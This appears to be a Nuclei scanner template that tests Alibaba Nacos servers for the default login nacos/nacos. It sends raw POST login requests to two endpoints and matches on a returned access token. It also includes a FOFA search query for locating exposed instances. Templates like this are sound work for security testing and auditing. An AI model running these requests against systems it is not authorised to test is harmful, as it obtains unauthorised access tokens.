id: nacos-default-login

info:
  name: Alibaba Nacos - Default Login
  author: SleepingBag945
  severity: high
  description: |
    The default username and password for Nacos are both nacos.
  classification:
    cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: alibaba
    product: nacos
    fofa-query: title=="Nacos"
  tags: nacos,default-login,alibaba

http:
  - raw:
      - |
        POST /v1/auth/users/login  HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Nacos-Server
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        POST /nacos/v1/auth/users/login  HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Nacos-Server
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - nacos
      password:
        - nacos
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"accessToken":'
          - '"username":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a00463044022030afa357f57cb8fdf4e6f3cab1ce476e5f03a9aa6db0283918d227efd3dcbbbc02202bca8c8ee71fed37a045f13720aded03f14ca74eef81e5d8de7d5b8c6ef7df7a:922c64590222798bb761d5b6d8e72950